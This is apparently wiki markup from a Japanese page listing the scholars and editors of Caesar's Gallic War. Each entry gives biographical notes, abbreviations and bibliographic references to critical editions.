**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;Bentley, T., ed. Caii Julii Caesaris de bello gallico et ciuili nec non A. Hirtii aliorumque de bellis Alexandrino, Africano, et Hispaniensi commentarii. Notas et animaduersiones addidit Tho. Bentleius. Accessere conjecturae et emendationes Jacobi Jurini. London: Innys and Manby, 1742.&amp;nbsp;&lt;br&gt;(Thomas Bentley, C. Iulii Caesaris Commentarii de bello Gallico (London, 1742))&lt;/span&gt;
===Ciacconius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Petrus Ciacconius &lt;ref&gt;[[w:fr:Pedro Chacón]] などを参照。&lt;/ref&gt; (1525-1581)&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ciacc.&lt;/span&gt;）　スペイン語名　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Pedro Chacón|Pedro Chacón]]&lt;/span&gt;（ペドロ・チャコン）
*:16世紀、スペインの数学者・神学者、[[w:サラマンカ大学|サラマンカ大学]]ギリシア語教授。
*:著作：&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris et Auli Hirtii quae extant omnia&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-extant-omnia/oclc/65084468  C. Julii Caesaris et Auli Hirtii quae extant omnia (書籍, 1727) [WorldCat.org] ]&lt;/ref&gt;
===Clarke===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:la:Samuel Clarke|Samuel Clarke (1675-1729)]]&lt;/span&gt;、英語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Samuel Clarke|Samuel Clarke]]&lt;/span&gt;
*:'''サミュエル・クラーク'''：イギリスの哲学者、英国国教会の聖職者 
*:'''著作'''：カエサルの『ガリア戦記』『内乱記』などの校訂本と[[w:en:Samuel_Clarke#Translations|翻訳]]
*::&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caii Julii Caesaris et A. Hirtii de rebus a Caesare gestis Commentarii. Ex recensione Samuelis Clarke fideliter expressa.&lt;/span&gt;[https://archive.org/details/bim_eighteenth-century_works-caii-julii-caes_hirtius-aulus_1778/mode/2up]
===Daehne===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Johann Christoph Daehne (1776-1832)&lt;/span&gt;　：　ドイツの文献学者&lt;ref&gt;[http://www.worldcat.org/identities/viaf-273408152/ Daehne, Johann Christoph [WorldCat Identities] ] などを参照。&lt;/ref&gt;。
**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;C. Iulii Caesaris Commentarii de bello Gallico et civili. Accedunt libri De bello Alexandrino, Africano et Hispaniensi&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-de-bello-gallico-et-civili-accedunt-libri-de-bello-alexandrino-africano-et-hispaniensi/oclc/64710439 WorldCat(64710439)]を参照。&lt;/ref&gt; &lt;ref&gt;[https://www.worldcat.org/title/ci-caesaris-commentarii-de-bello-gallico-et-civili-accedunt-libri-de-bello-alexandrino-africano-et-hispaniensi-aulus-hirtius/oclc/312032194 WorldCat(312032194)]を参照。&lt;/ref&gt; &lt;ref&gt;[https://www.worldcat.org/title/commentarii-de-bello-gallico-et-civili-accedunt-de-bello-alexandrino-africano-et-hispaniensi/oclc/887713890 WorldCat(887713890)]を参照。&lt;/ref&gt;

===Davisius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iohannes Davisius|Iohannes Davisius (1567-1644)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Dav.&lt;/span&gt;）　英語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:John Davies (Mallwyd)|John Davies]]&lt;/span&gt;　&lt;!--　　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt; &lt;/span&gt;　　--&gt;
*:後期ルネサンス期ウェールズの指導的学者（文法学者・辞書編纂者・翻訳者）。
*:著作：&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris et Auli Hirtii quae extant omnia&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-extant-omnia/oclc/65084468? C. Julii Caesaris et Auli Hirtii quae extant omnia (書籍, 1727) [WorldCat.org] ]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-exstant-omnia-recensuit-ac-selectis-petri-ciacconii-francisci-hotomanni-joannis-brantii-dionysii-vossii-et-aliorum-notis-suas-addidit-joannes-davisius-accedunt-ejusdem-curae-secundae-nec-non-metaphrasis-graeca-librorum-vii-de-bello-gallico/oclc/221348502? WorldCat]&lt;/ref&gt;）
===Dinter===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Bernardus Dinter &amp;nbsp; ; &amp;nbsp; &lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;''Gottlob Bernhard Dinter'' （1825-?）&lt;/span&gt;&lt;ref name=&quot;Dinter1&quot;&gt;[http://www.worldcat.org/identities/lccn-no2008015312/ Dinter, Gottlob Bernhard 1825- [WorldCat Identities] ]&lt;/ref&gt; &lt;ref name=&quot;Dinter2&quot;&gt;[http://worldcat.org/identities/lccn-no2002109382/ Dinter, Bernhard 1825- [WorldCat Identities] ]&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Iuli Caesaris Commentarii cum A. Hirti aliorumque supplentis. Recognovit Bernardus Dinter. Lipsiae, sumptibus et typis B. G. Teubneri, MDCCCLXXVI.&lt;/span&gt;　（トイプナー、1876年）
*:(WorldCat &lt;ref name=&quot;Dinter1&quot;/&gt; &lt;ref name=&quot;Dinter2&quot;/&gt; などを参照せよ。)
===Dittenberger===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Gulielmus Dittenberger|Gulielmus Dittenberger (1840-1906)]]&lt;/span&gt;　（ラテン語表記は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:11pt;&quot;&gt;Gulielmus Dittenberger&lt;/span&gt; または &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:11pt;&quot;&gt;Wilhelmus Dittenberger&lt;/span&gt;）&lt;br&gt;　　ドイツ語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Wilhelm Dittenberger|Wilhelm Dittenberger]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ditt.&lt;/span&gt;）
*:'''ディッテンベルガー''' &lt;ref&gt;[https://kotobank.jp/word/%E3%81%A7%E3%81%84%E3%81%A4%E3%81%A6%E3%82%93%E3%81%B9%E3%82%8B%E3%81%8C%E3%83%BC-1802566 ディッテンベルガーとは？ 意味や使い方 - コトバンク]&lt;/ref&gt;：19世紀ドイツの古典文献学者。ギリシア語の碑文などを研究。&lt;ref&gt;[https://ci.nii.ac.jp/author/DA04317698 CiNii Books 著者 - Dittenberger, Wilhelm]&lt;/ref&gt;&lt;ref&gt;[https://search.worldcat.org/ja/search?q=Dittenberger&amp;author=Dittenberger%2C+Wilhelm%7CDittenberger%2C+W Dittenberger - 検索結果] (WorldCat.org)&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris commentarii de bello Gallico : [[wikt:en:erklärt#German|erklärt]] von [[#Kraner|Fr. Kraner]] und W. Dittenberger, Weidmann, 1913-17., vollständig umgearbeitete Aufl / von [[#Meusel|H. Meusel]]&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/703872728 C. Julii Caesaris commentarii de bello Gallico | WorldCat.org]&lt;/ref&gt; など

===Ernout===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Alfred Ernout|Alfred Ernout (1879-1973)]]&lt;/span&gt; ：　フランスのラテン語の文献学者。
*:'''執筆記事'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;A. Ernout : Revue de Philologie 27, 1953, 192-202&lt;/span&gt;
===Estienne===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Robert Estienne (1503-1559)
*:&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Stephanus (Estienne)]]&lt;/span&gt; を見よ。
===Flodoardus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Flodoardus Remensis|Flodoardus Remensis (894-966)]]&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Flodoard|Flodoard de Reims]]&lt;/span&gt;）
*:[[w:西フランク王国|西フランク王国]]の[[w:フランク人|フランク人]]で、[[w:カロリング朝|カロリング朝]]期の[[w:ランス (マルヌ県)|ランス]]正教会の聖職者・年代記作者・ラテン詩人。

===Frigell===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Andreas Frigell (1820-1897)&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Frig. ; &lt;/span&gt;スウェーデン名&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:sv:Anders Frigell (latinist)|Anders Frigell]]&lt;/span&gt;
*:スウェーデンの古典文献学者、[[w:ウプサラ大学|ウプサラ大学]]助教授。著作についてはWorldCat&lt;ref&gt;[http://www.worldcat.org/identities/lccn-no2004048330/ Frigell, A. 1820-1897 (Anders) [WorldCat Identities] ]&lt;/ref&gt;等を参照。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris De bello gallico libri septem cum libro octavo A. Hirtii.&lt;/u&gt;, Recensuit codices contulit commentationibus, Instruxit &lt;u&gt;Dr. Andreas Frigell&lt;/u&gt;, in Reg. Acad. Upsal. Lingu. Lat. Dog., Upsalae,  typis descripserunt edquist et socii, MDCCCLXI.&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-de-bello-gallico-libri-septem-cum-libro-octavo-a-hirtii/oclc/556360202 C. Iulii Caesaris De bello gallico libri septem cum libro octavo A. Hirtii (電子書籍, 1861) [WorldCat.org] ]&lt;/ref&gt;（1861年）

===Fuchs===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Harald Fuchs (Altphilologe)|Harald Fuchs (1900-1985)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Fu.&lt;/span&gt;）　ドイツの古典文献学者。　　
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julius Caesar: &lt;u&gt;Commentarii Belli Gallici : cum A. Hirtii supplemento&lt;/u&gt;, Huber, [[w:en:Frauenfeld|Frauenfeld]], 1944&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/commentarii-belli-gallici-cum-a-hirtii-supplemento/oclc/18460252 Commentarii Belli Gallici  cum A. Hirtii supplemento (書籍, 1944) [WorldCat.org] ]&lt;/ref&gt;
===Gertz===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Martin Clarentius Gertz (1844-1929)&lt;/span&gt;&lt;ref&gt;[[w:da:Martin Clarentius Gertz]], [[c:Category:Martin Clarentius Gertz]]&lt;/ref&gt;
**19～20世紀デンマークの哲学者 &lt;ref&gt;[http://worldcat.org/identities/lccn-n89640008/ Gertz, M. Cl [WorldCat Identities] ]&lt;/ref&gt;。
===Glandorpius (Glandorp)===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Johannes Glandorpius&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Johann Glandorp|Johann Glandorp (1501-1564)]]&lt;/span&gt;）：ドイツの人文学者・教育者・プロテスタントの神学者&lt;ref&gt;[http://worldcat.org/identities/lccn-nr2002024524/ Glandorp, Johann 1501-1564 [WorldCat Identities] ]&lt;/ref&gt;&lt;ref&gt;[https://www.deutsche-biographie.de/sfz21096.html Deutsche Biographie - Glandorp, Johann]&lt;/ref&gt;&lt;ref&gt;[https://www.lagis-hessen.de/pnd/122523806 Hessische Biografie : Erweiterte Suche : LAGIS Hessen]&lt;/ref&gt;。
**'''校訂版・注釈書''': &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Glandorp%2C+Johann%22&amp;author=Caesar%2C+Gaius+Iulius%7CCaesar%2C+Julius au=&quot;Glandorp, Johann&quot; - 検索結果] (WorldCat.org)&lt;/ref&gt;
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris quae exstant : ex viri docti [J.J. Scaliger] accuratissima recognitione : accedit nunc vetus interpres Graecus librorum VII de bello Gallico, ex bibliotheca P. Petavii : praeterea notae, adnotationes, commentarii partim veteres, partim novi : adhaec indices rerum, et locorum utiles. ...&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-quae-exstant-ex-viri-docti-jj-scaliger-accuratissima-recognitione-accedit-nunc-vetus-interpres-graecus-librorum-vii-de-bello-gallico-ex-bibliotheca-p-petavii-praeterea-notae-adnotationes-commentarii-partim-veteres-partim-novi-adhaec-indices-rerum-et-locorum-utiles/oclc/13596308 C. Julii Caesaris quae exstant : ex viri docti [J.J. Scaliger] accuratissima recognitione : accedit nunc vetus interpres Graecus librorum VII de bello Gallico, ex bibliotheca P. Petavii : praeterea notae, adnotationes, commentarii partim veteres, partim novi : adhaec indices rerum, et locorum utiles. ... (書籍, 1669) [WorldCat.org] &lt;/ref&gt; 
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;ref&gt;[https://openlibrary.org/authors/OL4855318A/Johann_Glandorp Johann Glandorp | Open Library]&lt;/ref&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros&lt;/span&gt;&lt;ref&gt;[https://openlibrary.org/works/OL11537855W/Johannis_Glandorpii_Adnotationes_doctiss._in_C._Iulii_Caes._et_Hircii_vel_Oppii_de_bello_Gallico_civ Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros (1564 edition) | Open Library]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/johannis-glandorpii-adnotationes-doctiss-in-c-iulii-caes-et-hircii-vel-oppii-de-bello-gallico-civili-alexandrino-africano-hispaniensi-commentariorum-et-derelictorum-libros/oclc/221818490&amp;referer=brief_results Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros (マイクロフォーム, 1564) [WorldCat.org] ]&lt;/ref&gt;
===Glareanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Henricus Glareanus&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;; [[w:en:Heinrich Glarean|Heinrich Glarean (1488-1563)]]&lt;/span&gt;
*:[[w:グラレアヌス|ハインリヒ・'''グラレアヌス''']]：16世紀スイス出身の人文主義者・詩人・音楽理論家。
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Julii Caesaris Commentariorum de bello Gallico, Venise, ex bibliotheca Aldina, 1569, 398 ff.&lt;/span&gt;&lt;ref&gt;[[w:fr:Glaréan#Édition_d'ouvrages_anciens]]&lt;/ref&gt;

===Gruter===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Janus Gruterus (1560-1627)&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;; [[w:en:Jan Gruter|Jan Gruter (Gruytère)]]&lt;/span&gt; : [[w:南ネーデルラント|南ネーデルラント]]出身の古典文献学者・司書。
===Heller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Ludwig Heller (Philologe)|Ludwig Heller (1775/6-1826)]]&lt;/span&gt;　：　ドイツの古典文献学者（[[w:フリードリヒ・アレクサンダー大学エアランゲン＝ニュルンベルク|エアランゲン大学]]）。
===Holder===
===Holmes===
===Hotomanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:de:Franciscus Hotomanus|Franciscus Hotomanus]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Hotm.&lt;/span&gt;　；　仏語名　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:François Hotman|François Hotman (1524-1590)]]&lt;/span&gt;）　
*:フランスの法律家・著述家。
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris rerum gestarum commentarii XIV (1575)&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/55582673 C. Iulii Caesaris rerum gestarum commentarii XIV : nempe ... omnia collatis antiquis manuscriptis exemplaribus, quae passim in Italia, Gallia, &amp; Germania inuenire potuimus, docte, accurate, &amp; emendate restituta, prout proxima pagina indicatur : Eutropii Epitome belli Gallici ex Suetonii Tranquilli monumentis, quae desiderantur | WorldCat.org]&lt;/ref&gt; ほか
===Jungermann===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Gottfried Jungermann (1570-1610)&lt;/span&gt; &lt;ref name=&quot;Gottfried Jungermann&quot;&gt;[[w:fr:Gottfried Jungermann]]&lt;/ref&gt;
*:ゴットフリート・'''ユンゲルマン'''：16～17世紀のドイツの古典文献学者で &lt;ref name=&quot;Gottfried Jungermann&quot;/&gt;、カエサルの覚書（戦記）のギリシア語版なども刊行している。
*'''著作''' &lt;ref&gt;[https://search.worldcat.org/ja/search?q=Gottfried+Jungermann&amp;offset=1 Gottfried Jungermann - 検索結果] (WorldCat.org)&lt;/ref&gt;
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris Quae Exstant : ex nupera Viri docti accuratissima recognitione (1606)&lt;/span&gt; (ラテン語) &lt;ref&gt;[https://search.worldcat.org/ja/title/831992108 C. Iulii Caesaris Quae Exstant : ex nupera Viri docti accuratissima recognitione] (WorldCat.org)&lt;/ref&gt; ほか。

===Koller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Rudolf Koller&lt;/span&gt;
*:'''記　事''':  &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Wien. Stud. 36(1914)143&lt;/span&gt;
*:'''校訂版''': &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Commentarii de bello Gallico (1928, 1939)&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/commentarii-de-bello-gallico-auswahl/oclc/720996262 [Commentarii] de bello Gallico Auswahl (書籍, 1928) [WorldCat.org] ]&lt;/ref&gt; &lt;ref&gt;[https://www.zvab.com/Julius-Caesar-Bello-Gallico-Sammlung-lateinischer/16208788923/bd https--www.zvab.com-Julius-Caesar-Bello-Gallico-Sammlung-lateinischer-16208788923-bd]&lt;/ref&gt;
===Kraner===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Friedrich Kraner|Friedrich Kraner (1812-63)]]&lt;/span&gt;
*:ドイツの古典文献学者、学校教師 &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Kraner%2C+Friedrich%22 au=&quot;Kraner, Friedrich&quot; - 検索結果]&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;G. Iulii Caesaris Commentarii, cum supplementis A. Hirtii et aliorum : [[wikt:en:erklärt#German|erklärt]] von Friedrich Kraner&lt;/span&gt; 1861 ほか &lt;ref&gt;[https://search.worldcat.org/ja/title/222387161 G. Iulii Caesaris Commentarii, cum supplementis A. Hirtii et aliorum | WorldCat.org]&lt;/ref&gt;

===Kuebler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Bernardus Kuebler&lt;/span&gt; （略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Kue.&lt;/span&gt; ； 独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Bernhard Kübler|Bernhard (Gustav Adolf) Kübler (1859-1940)]]&lt;/span&gt;）　
*:ドイツの古典文献学者、法制史家。著作多数（WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no2011013800/ Kübler, Bernhard 1859-1940 [WorldCat Identities] ]&lt;/ref&gt;、Wikisource&lt;ref&gt;[[s:de:Bernhard Kübler]]&lt;/ref&gt; を参照）。
**'''校訂版'''（『ガリア戦記』『内乱記』多数）:
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris commentarii : cum A. Hirtii aliorumque supplementis 1, Commentarii de bello Gallico&lt;/u&gt;, Lipsiae Teubner 1895&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-cum-a-hirtii-aliorumque-supplementis-1-commentarii-de-bello-gallico/oclc/1198880100 C. Iulii Caesaris commentarii : cum A. Hirtii aliorumque supplementis 1, Commentarii de bello Gallico (書籍, 1895) [WorldCat.org] ]&lt;/ref&gt;
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Commentarii cum A. Hirtii aliorumque supplementis. Vol. 1, Commentarii de bello Gallico&lt;/u&gt;, Lipsiae : in aedibus B. G. Teubneri, 1908.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-cum-a-hirtii-aliorumque-supplementis-vol-1-commentarii-de-bello-gallico/oclc/441845921 C. Iulii Caesaris Commentarii cum A. Hirtii aliorumque supplementis. Vol. 1, Commentarii de bello Gallico (書籍, 1908) [WorldCat.]&lt;/ref&gt;　ほか
===Kübler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Bernhard Kübler|Bernhard Kübler]]&lt;/span&gt; ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Kuebler]]&lt;/span&gt;
===Lipsius===
{{Wikipedia|ユストゥス・リプシウス|リプシウス}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iustus Lipsius|Iustus Lipsius (1547-1606)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Lips.&lt;/span&gt;）
*:現在のベルギーの人文学者・古典文献学者。[[w:フリードリヒ・シラー大学イェーナ|イエナ大学]]、[[w:ライデン大学|ライデン大学]](教授)、[[w:en:Old University of Leuven|ルーヴェン大学]]等で教鞭をとる。&lt;br&gt;タキトゥスやセネカの校訂で知られる&lt;ref&gt;[https://kotobank.jp/word/%E3%83%AA%E3%83%97%E3%82%B7%E3%82%A6%E3%82%B9-149298 リプシウスとは - コトバンク]&lt;/ref&gt;

===Manutius===
{{Wikipedia|パウルス・マヌティウス|パウルス・マヌティウス}}
{{Wikipedia|アルド印刷所|アルド印刷所}}
*[[#Aldus]]　[[w:アルドゥス・マヌティウス|アルドゥス・マヌティウス]] (&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:en:Aldus Manutius|Aldus Manutius]] 1449/1452-1515&lt;/span&gt;) の後継者たち、特に息子の[[w:パウルス・マヌティウス|パウルス・マヌティウス]]（&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Paulus Manutius|Paulus Manutius]]&lt;/span&gt; 1512-1574）のことか。
*アルドゥスとその後継者たちは、1513年～1588年まで13回にわたってカエサルの『ガリア戦記』を印刷した。1571年の版は、アルドゥスの子パウルスが現役のときに、その息子アルドゥス2世によって印刷された&lt;ref&gt;[https://grolierclub.omeka.net/exhibits/show/aldus-manutius/paulus-manutius Paulus Manutius · Aldus Manutius: A Legacy More Lasting Than Bronze · Grolier Club Exhibitions]等を参照。&lt;/ref&gt;。
===Manuzio===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Aldo Pio Manuzio&lt;/span&gt; ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Aldus]]&lt;/span&gt;
===Meusel===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Henricus Meusel (1844-1916)&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Meu.&lt;/span&gt; ： 独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Heinrich Meusel|Heinrich Meusel]]&lt;/span&gt; ）
*:ドイツの古典文献学者。著作多数（&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no99006368/ Meusel, Heinrich 1844-1916 [WorldCat Identities] ]&lt;/ref&gt;, Wikisource&lt;ref&gt;[[s:de:Heinrich Meusel]]&lt;/ref&gt;&lt;/span&gt; 等を参照）。
**'''校訂版''':
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Belli Gallici libri VII cum A. Hirtii liber VIII.&lt;/u&gt; Recensuit apparatu critico instruxit Henricus Meusel, Berlin, Bertolini, W. Weber, 1894.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iuli-caesaris-belli-gallici-libri-vii-cum-a-hirti-liber-viii/oclc/7620704 C. Iuli Caesaris Belli gallici libri VII  cum A. Hirti liber VIII (書籍, 1894) [WorldCat.org] ]&lt;/ref&gt;

===Mommsen===
{{Wikipedia|テオドール・モムゼン|モムゼン}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Theodorus Mommsen|Theodorus Mommsen (1817-1903)]]&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Theodor Mommsen|Theodor Mommsen]]&lt;/span&gt;）
*:ドイツのローマ史家。1902年ノーベル文学賞受賞。
===Morus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Samuel Fridericus Nathanael Morus|Samuel Fridericus Nathanael Morus (1736-1792)]]&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Samuel Friedrich Nathanael Morus|Samuel Friedrich Nathanael Morus]]&lt;/span&gt;）
*:ドイツの哲学者・神学者。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris de bello Gallico et civili; accedunt libri de bello Alexandrino, Africano et Hispaniensi; e recensione Oudendorpii. Curavit editionem (et adnotationes atque indicem adiecit) etc. S. F. N. M. Lipsiae, 1780&lt;/span&gt;
===Nicasius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Nicasius Ellebodius Casletanus&lt;/span&gt; （略号　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Nicas.&lt;/span&gt;）
*:&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Nicaise Ellebaudt|Nicaise Ellebaudt (1535-1577)]]&lt;/span&gt; ： 16世紀の[[w:フランドル伯|フランドル伯]]領出身の人文主義者。
===Nipperdey===
